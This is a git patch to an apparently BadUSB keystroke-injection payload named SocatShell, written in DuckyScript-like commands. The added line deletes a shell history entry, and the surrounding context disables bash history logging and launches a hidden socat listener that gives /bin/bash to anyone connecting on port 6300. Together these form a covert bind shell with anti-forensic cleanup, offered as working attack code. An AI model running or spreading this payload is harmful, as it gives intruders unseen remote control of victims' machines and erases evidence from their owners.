From d132d4759f13b1809995fb256323f40f9cbbabff Mon Sep 17 00:00:00 2001 From: Narsty Date: Thu, 22 Jun 2023 22:30:31 -0500 Subject: [PATCH] Update SocatShell.txt --- RECON/SocatShell.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/RECON/SocatShell.txt b/RECON/SocatShell.txt index 935f66a..7e34f6e 100644 --- a/RECON/SocatShell.txt +++ b/RECON/SocatShell.txt @@ -27,6 +27,7 @@ DELAY 1000 ENTER DELAY 500 STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash +history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') ENTER DELAY 500 STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null &